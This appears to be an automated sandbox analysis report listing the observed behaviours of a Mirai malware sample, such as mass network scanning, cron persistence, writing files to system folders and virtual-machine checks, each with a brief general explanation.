Malware Config

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Contacts a large (43741) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Executes dropped EXE 2 IoCs
  • Creates/modifies Cron job 1 TTPs 3 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Writes file to system bin folder 1 TTPs 54 IoCs
  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 35 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.
